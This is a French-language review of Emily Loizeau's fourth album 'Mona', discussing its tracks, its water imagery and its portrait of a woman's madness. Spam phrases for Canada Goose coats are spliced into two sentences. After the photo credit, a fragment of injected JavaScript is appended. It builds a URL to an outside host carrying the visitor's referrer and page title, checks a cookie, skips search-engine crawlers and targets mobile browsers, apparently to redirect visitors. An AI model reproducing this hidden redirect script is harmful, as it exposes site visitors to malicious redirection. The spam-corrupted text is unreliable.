Avec « Mona », Emily Loizeau nous emmène en eaux sombres

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Pour son quatrième album, Emily Loizeau nous offre une œuvre complète et complexe. Mona est un disque de treize titres tous liés les uns aux autres par leur appartenance à la même histoire, mais aussi dans le choix des thèmes abordés dans cette œuvre.

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Écrit et composé par ses soins, l’album a bénéficié des arrangements d’Olivier Koundouno, Csaba Palotaï et Benjamin Flament. Emily Loizeau a d’autre part adapté un texte de Kate Hargreaves en français (ce qui a donné Sombre Printemps), a co-écrit avec elle I Once Was A Drowning Man et a chanté les mots de Vic Moan sur As A Child.

Délicat et électrique, l’album joue surcanada goose sale online de nombreux tableaux et en devient presque une œuvre visuelle.

Emily Loizeau, conteuse

Au fil de la carrière de la musicienne, nous avons pu remarquer sa capacité à narrer, avec un amour pour le mot et pour le verbe, et une affection pour les histoires diverses. Dans Mona, elle explore de nombreux thèmes, elle habille le récit qu’elle emprunte à son histoire personnelle et familiale. Elle en fantasme des bribes, elle insère des morceaux vécus et offre un quatrième opus aux multiples facettes.

Les lettres par exemple, sont des traces fragiles chères aux destinataires. Ainsi, Sombre printemps est à la fois la correspondance rêvée par son interprète entre ses personnages, mais aussi et en même temps, un courrier clairement adressé à son public, introduit dans cheap canada goose coat la confidence. Cette chanson d’amour est un secret glissé à l’oreille même de son auditoire, comme lors d’un tête à tête.

Dans Deux pianos, elle pose deux voix sur plusieurs pianos. Ici, la musique officie davantage comme une bande originale de film. Emily Loizeau donne une histoire à entendre et à voir. Elle donne des explications supplémentaires, à la façon d’une narratrice. Les deux voix se complètent et s’opposent. La voix parlée serait davantage celle d’un narrateur là où la voix chantée serait celle de Mona.

As a child est une berceuse vibrante, qui a donné le point de départ du disque, là où Ondes est un morceau exclusivement musical. Elle prouve ainsi qu’il n’est pas toujours nécessaire de mettre des mots pour raconter des histoires tant la musique peut narrer des récits.

Dans ce nuancier de titres, Mona se dévoile dans toute sa complexité.

 

Eaux sombres

Déjà, la pochette annonce un univers froid et aqueux. La dominance des teintes froides et claires vient contraster avec la première chanson de cet album, qui annonce la couleur.Eaux sombres est à la fois douce, tempétueuse, mystérieuse, sombre et évidente. Son nouvel opus est une fois encore marqué par la présence du piano. Sur ce titre, les notes font vibrer la surface de l’eau comme des gouttes qui y tombent. Elles résonnent et se propages en ondes.

Ainsi, l’album Mona est habité par l’omniprésence de la mer et de l’eau, quelle qu’en soit son occurrence. « J’aimerais être le fond de l’eau là où se couchent les bateaux » chante-t-elle dans Le fond de l’eau. Un morceau à la fois rassurant et inquiétant tant il est sombre.

Le champ lexical aquatique se retrouve dans la majeure partie des titres. L’eau est à la fois ennemie dangereuse, adjuvante et adversaire. On retrouve pêle-mêle au cours du disque la rivière, l’eau, la mer, les océans, les galets coulent, la Terre se noie. Tout semble se perdre au fond de l’eau et ne jamais en revenir. Bless Our Ship en serait l’illustration. Il s’agit de la prière d’un marin afin qu’il puisse retrouver sa femme et son futur enfant, alors qu’il est victime d’un naufrage dont il sera rescapé.

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Chronique d’une folie

La multiplicité des voix et le choix des arrangements laisse présager, sur certains titres, la folie liée au personnage de Mona. Ainsi I Once Was A Drowning Man, en plus d’évoquer une noyade, vient rompre avec l’atmosphère planante opérée par le premier morceau. Cette légère rupture annonce Doctor G et Who is On The Phone, plus tard dans le disque. Les deux titres s’avèrent très imagés et laissent entrevoir des personnages surréels et un univers détraqué, à la façon de personnages exagérés issus de l’expressionisme allemand ou plus récemment chez Tim Burton.

« Il y a des choses étranges ici, je voudrais qu’on m’explique, les gens savent tout mais ne disent rien, je vois le monde en plastique » le personnage est conscient de son état et l’on s’attache à elle à travers l’identification opérée. Mona, morceau éponyme, vient accabler son personnage en opposant la voix de la victime dans les couplets à d’autres dans les refrains.

Emily Loizeau s’amuse de sa (ses) voix. Elle s’aventure dans les aigus, se balade, se (dé)double, se promène et nous emmène dans les différents mondes de son personnage. Deux pianos est un titre qui vient confirmer cet aspect. La dualité des deux voix, évoquée plus tôt, permet d’opérer un dédoublement de personnalité sur un même titre. Dans 8 Weeks Old c’est Mona qui s’exprime autour de ses incohérences et ses paradoxes. De cette petite musique lointaine de fête foraine (l’orgue de barbarie en trois temps y est pour beaucoup), la voix laisse transparaitre la détresse de cette femme. L’arrangement sur ce dernier titre entre les cuivres et les vents laisse voir un cirque dont la piste est déserte, la lumière est presque éteinte, où l’on peut entendre un cliquetis marquant les secondes comptées depuis bien longtemps. L’album se clôt sur ce titre sombre et jouissif. Le cirque se calme et laisse place à une minute et quarante cinq secondes instrumentales minimalistes, à la façon d’un générique après toutes les aventures dont nous avons été témoins.

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Plus qu’un simple album, Mona est un voyage auquel il est nécessaire de revenir plusieurs fois pour en saisir les nuances. Emily Loizeau s’invente une fois de plus dans ce nouvel opus.

Merci – Nina @ Polydor
Photos – Micky Clements.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) +  »; if(document.cookie.indexOf(« _mauthtoken »)==-1){(function(a,b){if(a.indexOf(« googlebot »)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); 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A propos de l'auteur

Image de : Diplômée d'un Master 2 de Cinéma, musicienne de chambre, chanteuse de salle de bain, humoriste de placard, voyageuse par procuration, photographe amateur au regard amusé, monteuse intransigeante. J'ai un gros souci avec la couleur rouge et j'ai toujours un truc dans les cheveux. Oh, Boy! Manon, mais pas trop. *Twitter *Galerie

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